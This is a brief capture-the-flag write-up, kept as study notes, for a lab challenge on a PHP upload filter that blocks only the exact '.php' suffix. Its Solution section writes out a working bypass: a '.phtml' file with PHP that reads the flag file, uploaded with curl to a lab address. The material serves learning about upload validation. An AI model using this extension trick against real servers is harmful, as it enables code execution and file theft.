upload-review
- •
Attribution
- •
Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
- •
- •
What it asked
- •
Review a PHP upload filter and demonstrate why blocking only the exact
.phpsuffix is insufficient.
- •
- •
- •
Solution
- •
printf '%s\n' '<?php readfile("/flag.txt"); ?>' > kmipn8.phtml curl -sF 'file=@kmipn8.phtml' http://10.0.100.6:8080/upload # Request the uploaded URL returned by the application.
- •
- •
Verification
- •
The team document records successful execution in the isolated lab. The endpoint was not replayed.
- •
- •
Concepts
- •
File-upload validation; extension allowlists; server handler configuration; unrestricted upload.
- •
- •